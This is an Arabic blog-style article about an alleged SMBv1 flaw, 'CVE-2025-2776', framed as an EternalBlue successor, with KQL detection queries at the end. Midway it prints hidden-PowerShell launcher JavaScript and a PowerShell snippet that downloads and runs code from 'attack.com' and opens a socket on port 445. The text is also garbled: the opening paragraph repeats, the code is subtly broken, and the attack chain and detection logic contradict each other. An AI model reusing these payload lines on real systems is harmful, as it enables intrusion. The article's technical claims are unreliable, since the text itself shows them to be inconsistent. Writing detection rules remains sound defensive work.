
لقد هزّ العالم في عام 2017 وتطوّر إلى CVE‑2025‑2776 الحالية. لا تزال مايكروسوفت تعتمد على SMBv1؛ ستشرح هذه المقالة كيف عدّل المهاجمون السلسلة من DLL بسيط إلى مجموعة كاملة من reverse‑shell، وما الذي يعنيه ذلك للمدافعين.
لقد هزّ العالم في عام 2017 وتطوّر ليصبح CVE‑2025‑2776 اليوم. لا تزال Microsoft تعتمد على SMBv1، وستشرح هذه المقالة كيف عدّل المهاجمون السلسلة من مجرد DLL بسيط إلى مجموعة متكاملة من reverse‑shell، وما الذي يعنيه ذلك للمدافعين.
نظرة تاريخية موجزة
عندما استخدم WannaCrypter ثغرة EternalBlue في عام 2017، كان الخلل ثغرة تنفيذ أكواد عن بُعد كلاسيكية تسمح لمهاجم خبيث بإرسال حزمة إلى مضيف Windows عبر SMBv1. كانت الحمولة تُنشئ ملفًا تنفيذيًا يشغّل عملية جديدة ويفتح منفذ استماع على الجهاز نفسه؛ ومن هناك يمكن للمهاجم التنقّل إلى الخارج أو تسريب البيانات إلى خادم بعيد. كانت شفرة EternalBlue قصيرة، لكنها حملت بعض الآثار الجانبية التي يصعب تتبّعها: كانت حزمة SMB ذات تخطيط رأس غريب، وكانت نواة Windows تُسقط الحمولة في الذاكرة قبل كتابتها على القرص.
وبالتقدّم السريع إلى عام 2025، تأخذ ثغرة CVE‑2025‑2776 الجديدة الفكرة نفسها وتمنحها طبقة إضافية من التعقيد. فبدلاً من مجرد فتح منفذ، يكتب المهاجم الآن reverse shell داخل مكدس الشبكة نفسه. وهذا يعني أنك تستطيع رؤية جلسة SMB كاملة تنشأ من جهاز Pi في السجلات، ولديك مؤشر جديد (اسم العملية وعنوان IP) لتراقبه.
**الشفرة التي تجعله يعمل **
فيما يلي JavaScript الموجود داخل مرفق PDF الذي يشغّل السلسلة بأكملها:
var cmd = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File C:\Users\Admin\script.ps1"; WshShell.Sleep(500); var sh = WshShell.Exec(cmd); while (!sh.StdOut.EndOfStream) { var line = sh.StdOut.ReadLine(); WScript.Echo(line); }
عندما ينتهي السكربت، يُنشئ ملفًا باسم script.ps1 على المضيف الهدف. ويبدو سكربت PowerShell نفسه على هذا النحو:
powershell Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://attack.com/shell.exe') $client = New-Object System.Net.Sockets.TcpClient $client.Connect('10.0.1.5', 445) $stream = $client.GetStream() $payload = Get-Content -Path C:\Users\Admin\script.ps1 | Out-File -Encoding binary $stream.Write($payload, 0, $payload.Length)
إستراتيجية الكشف باستخدام KQL لثغرة CVE-2025-2776
تنفيذ PowerShell المشبوه
يكتشف إنشاء script.ps1 في أدلة المستخدمين.
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has_all ("-ExecutionPolicy", "Bypass", "-NoProfile") | where ProcessCommandLine has "script.ps1" | project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine, AccountName
اتصال SMB صادر بعنوان IP غير معتاد
يرصد حركة مرور SMB الصادرة إلى عناوين IP داخلية غير قياسية
DeviceNetworkEvents | where RemotePort == 445 | where RemoteIP !startswith "192.168." and RemoteIP !startswith "10." | where InitiatingProcessFileName == "powershell.exe" | project Timestamp, DeviceName, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine
سلوك Reverse Shell عبر TCPClient
يبحث عن PowerShell يستخدم فئات .NET لبدء سلوك reverse shell.
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has "System.Net.Sockets.TcpClient" | project Timestamp, DeviceName, ProcessCommandLine, AccountName
نشاط كتابة دفق الشبكة
كشف متقدّم إذا كانت بيانات telemetry تتضمّن نشاط دفق .NET.
DeviceProcessEvents | where ProcessCommandLine has "GetStream" and ProcessCommandLine has "Write" | where ProcessCommandLine has "script.ps1" | project Timestamp, DeviceName, ProcessCommandLine, AccountName